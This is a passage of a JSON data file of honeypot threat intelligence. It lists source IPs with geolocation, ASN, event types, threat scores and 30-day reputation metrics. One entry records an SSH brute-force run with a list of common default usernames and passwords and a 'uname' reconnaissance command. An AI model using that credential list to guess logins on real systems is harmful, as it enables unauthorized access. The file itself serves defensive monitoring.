        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T00:59:09.963000+00:00",
        "last_seen_30d": "2026-03-31T01:00:15.032000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "82.24.64.32": {
      "attack_count": 3,
      "first_seen": "2026-03-11T00:34:25.077Z",
      "last_seen": "2026-03-11T00:35:28.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 395793,
      "as_org": "Arisk Communications inc.",
      "threat_score": 63.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T08:16:55.565000+00:00",
        "last_seen_30d": "2026-03-29T00:49:23.754000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Tanner": 46,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "110.38.222.173": {
      "attack_count": 2,
      "first_seen": "2026-03-11T03:10:54.009Z",
      "last_seen": "2026-03-11T03:11:09.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:10:54.009000+00:00",
        "last_seen_30d": "2026-03-11T03:12:19.298000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.92.205.166": {
      "attack_count": 2,
      "first_seen": "2026-03-30T04:51:21.319Z",
      "last_seen": "2026-03-30T04:52:15.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T04:51:21.319000+00:00",
        "last_seen_30d": "2026-03-30T04:53:23.193000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.35.0.162": {
      "attack_count": 2,
      "first_seen": "2026-03-04T09:47:03.178Z",
      "last_seen": "2026-03-04T09:47:16.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Miaoli",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:47:03.178000+00:00",
        "last_seen_30d": "2026-03-04T09:48:23.728000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.210.196.46": {
      "attack_count": 2,
      "first_seen": "2026-03-09T02:01:23.816Z",
      "last_seen": "2026-03-09T02:01:37.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:01:23.816000+00:00",
        "last_seen_30d": "2026-03-09T02:02:42.015000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.96.243.150": {
      "attack_count": 2,
      "first_seen": "2026-03-27T08:13:41.146Z",
      "last_seen": "2026-03-27T08:13:56.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gangtok",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T08:13:41.146000+00:00",
        "last_seen_30d": "2026-03-27T08:14:59.593000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.40.193.228": {
      "attack_count": 2,
      "first_seen": "2026-03-12T11:47:51.981Z",
      "last_seen": "2026-03-12T11:48:04.688Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mokpo",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T11:47:51.981000+00:00",
        "last_seen_30d": "2026-03-12T11:49:07.466000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.196.86.51": {
      "attack_count": 2,
      "first_seen": "2026-03-23T09:26:10.067Z",
      "last_seen": "2026-03-23T09:26:42.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T09:26:10.067000+00:00",
        "last_seen_30d": "2026-03-23T09:27:44.795000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.209.8.43": {
      "attack_count": 2,
      "first_seen": "2026-03-07T18:26:18.728Z",
      "last_seen": "2026-03-07T18:26:31.308Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:26:18.728000+00:00",
        "last_seen_30d": "2026-03-07T18:27:32.471000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.40.117.223": {
      "attack_count": 2,
      "first_seen": "2026-03-26T23:37:58.403Z",
      "last_seen": "2026-03-26T23:38:12.366Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Florence",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:37:58.403000+00:00",
        "last_seen_30d": "2026-03-26T23:39:16.946000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.65.199.126": {
      "attack_count": 2,
      "first_seen": "2026-03-18T08:39:33.501Z",
      "last_seen": "2026-03-18T08:39:34.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T08:39:33.501000+00:00",
        "last_seen_30d": "2026-03-18T08:40:41.553000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.8.175.61": {
      "attack_count": 2,
      "first_seen": "2026-03-16T17:24:19.200Z",
      "last_seen": "2026-03-16T17:24:50.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 53231,
      "as_org": "GRUPOHOST COMUNICACAO MULTIMIDIA LTDA",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:24:19.910000+00:00",
        "last_seen_30d": "2026-03-16T17:25:59.435000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "178.66.229.134": {
      "attack_count": 2,
      "first_seen": "2026-03-31T20:37:13.073Z",
      "last_seen": "2026-03-31T20:37:28.613Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T20:37:13.073000+00:00",
        "last_seen_30d": "2026-03-31T20:38:33.257000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.147.121.204": {
      "attack_count": 2,
      "first_seen": "2026-03-06T06:48:57.914Z",
      "last_seen": "2026-03-06T06:49:11.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "M\u00e9rida",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:48:57.914000+00:00",
        "last_seen_30d": "2026-03-06T06:50:20.133000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.166.246.246": {
      "attack_count": 2,
      "first_seen": "2026-03-18T15:32:47.569Z",
      "last_seen": "2026-03-18T15:32:47.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:32:47.569000+00:00",
        "last_seen_30d": "2026-03-18T15:33:49.685000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "194.187.178.238": {
      "attack_count": 2,
      "first_seen": "2026-03-20T20:46:19.251Z",
      "last_seen": "2026-03-20T20:46:24.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:46:19.251000+00:00",
        "last_seen_30d": "2026-03-27T11:56:16.042000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "205.210.31.48": {
      "attack_count": 2,
      "first_seen": "2026-03-26T00:37:08.899Z",
      "last_seen": "2026-03-26T00:37:18.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:40:11+00:00",
        "last_seen_30d": "2026-03-30T06:36:40.728000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 34,
        "Adbhoney": 4,
        "Cowrie": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "220.175.83.103": {
      "attack_count": 2,
      "first_seen": "2026-03-16T06:17:49.593Z",
      "last_seen": "2026-03-16T06:18:01.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanchang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:17:49.593000+00:00",
        "last_seen_30d": "2026-03-16T06:19:03.891000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.164.139.123": {
      "attack_count": 2,
      "first_seen": "2026-03-11T10:32:22.794Z",
      "last_seen": "2026-03-11T10:32:37.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mungyeong",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:32:22.794000+00:00",
        "last_seen_30d": "2026-03-11T10:33:47.003000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.228.157.16": {
      "attack_count": 2,
      "first_seen": "2026-03-11T05:42:38.443Z",
      "last_seen": "2026-03-11T05:42:53.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 79.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T09:16:37.421000+00:00",
        "last_seen_30d": "2026-03-31T07:45:46.163000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 21,
        "Cowrie": 2
      }
    },
    "49.173.146.5": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:38:24.850Z",
      "last_seen": "2026-03-17T14:38:37.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T14:38:24.850000+00:00",
        "last_seen_30d": "2026-03-17T14:39:42.129000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.122.253.47": {
      "attack_count": 2,
      "first_seen": "2026-03-29T11:26:07.722Z",
      "last_seen": "2026-03-29T11:26:21.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Hwaseong-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T11:26:07.722000+00:00",
        "last_seen_30d": "2026-03-29T11:27:28.174000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.62.201.47": {
      "attack_count": 2,
      "first_seen": "2026-03-03T16:05:02.299Z",
      "last_seen": "2026-03-03T16:05:14.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:05:02.299000+00:00",
        "last_seen_30d": "2026-03-03T16:06:16.422000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.236.59.204": {
      "attack_count": 2,
      "first_seen": "2026-03-14T16:24:08.486Z",
      "last_seen": "2026-03-14T16:24:39.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kawasaki",
      "asn": 2518,
      "as_org": "BIGLOBE Inc.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:24:08.486000+00:00",
        "last_seen_30d": "2026-03-14T16:25:44.724000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.68.39.38": {
      "attack_count": 2,
      "first_seen": "2026-03-29T05:36:03.043Z",
      "last_seen": "2026-03-29T05:36:34.834Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T05:36:03.043000+00:00",
        "last_seen_30d": "2026-03-29T05:37:44.132000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "81.7.112.61": {
      "attack_count": 2,
      "first_seen": "2026-03-20T08:54:10.860Z",
      "last_seen": "2026-03-20T08:54:23.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Elektr\u0117nai",
      "asn": 49602,
      "as_org": "Private Limited Liability Company KRENA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T08:54:10.860000+00:00",
        "last_seen_30d": "2026-03-20T08:55:25.654000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "97.78.17.186": {
      "attack_count": 2,
      "first_seen": "2026-03-07T04:37:08.726Z",
      "last_seen": "2026-03-07T04:37:22.009Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Delano",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T04:37:08.726000+00:00",
        "last_seen_30d": "2026-03-07T04:38:23.231000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.230.188.209": {
      "attack_count": 3525,
      "first_seen": "2026-03-04T07:44:27.938Z",
      "last_seen": "2026-03-04T08:16:11.893Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
